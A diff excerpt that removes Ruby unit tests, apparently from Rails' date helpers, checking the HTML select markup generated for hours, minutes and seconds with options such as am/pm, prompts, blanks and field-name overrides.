- expected = %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18))
- end
-
- def test_select_hour_with_ampm
- expected = %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :ampm => true)
- end
-
- def test_select_hour_with_disabled
- expected = %(<select id="date_hour" name="date[hour]" disabled="disabled">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
- end
-
- def test_select_hour_with_field_name_override
- expected = %(<select id="date_heure" name="date[heure]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'heure')
- end
-
- def test_select_hour_with_blank
- expected = %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
- end
-
- def test_select_hour_nil_with_blank
- expected = %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_hour(nil, :include_blank => true)
- end
-
- def test_select_hour_with_html_options
- expected = %(<select id="date_hour" name="date[hour]" class="selector" accesskey="M">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
- end
-
- def test_select_hour_with_default_prompt
- expected = %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
- end
-
- def test_select_hour_with_custom_prompt
- expected = %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose hour')
- end
-
- def test_select_minute
- expected = %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18))
- end
-
- def test_select_minute_with_disabled
- expected = %(<select id="date_minute" name="date[minute]" disabled="disabled">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
- end
-
- def test_select_minute_with_field_name_override
- expected = %(<select id="date_minuto" name="date[minuto]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'minuto')
- end
-
- def test_select_minute_with_blank
- expected = %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
- end
-
- def test_select_minute_with_blank_and_step
- expected = %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), { :include_blank => true , :minute_step => 15 })
- end
-
- def test_select_minute_nil_with_blank
- expected = %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_minute(nil, :include_blank => true)
- end
-
- def test_select_minute_nil_with_blank_and_step
- expected = %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_minute(nil, { :include_blank => true , :minute_step => 15 })
- end
-
- def test_select_minute_with_hidden
- assert_dom_equal "<input type=\"hidden\" id=\"date_minute\" name=\"date[minute]\" value=\"8\" />\n", select_minute(8, :use_hidden => true)
- end
-
- def test_select_minute_with_hidden_and_field_name
- assert_dom_equal "<input type=\"hidden\" id=\"date_minuto\" name=\"date[minuto]\" value=\"8\" />\n", select_minute(8, :use_hidden => true, :field_name => 'minuto')
- end
-
- def test_select_minute_with_html_options
- expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-
- #result = select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
- #assert result.include?('<select id="date_minute" name="date[minute]"')
- #assert result.include?('class="selector"')
- #assert result.include?('accesskey="M"')
- #assert result.include?('<option value="00">00')
- end
-
- def test_select_minute_with_default_prompt
- expected = %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
- end
-
- def test_select_minute_with_custom_prompt
- expected = %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose minute')
- end
-
- def test_select_second
- expected = %(<select id="date_second" name="date[second]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18))
- end
-
- def test_select_second_with_disabled
- expected = %(<select id="date_second" name="date[second]" disabled="disabled">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
- end
-
- def test_select_second_with_field_name_override
- expected = %(<select id="date_segundo" name="date[segundo]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'segundo')
- end
-
- def test_select_second_with_blank
- expected = %(<select id="date_second" name="date[second]">\n)
- expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
- end
-
- def test_select_second_nil_with_blank
- expected = %(<select id="date_second" name="date[second]">\n)
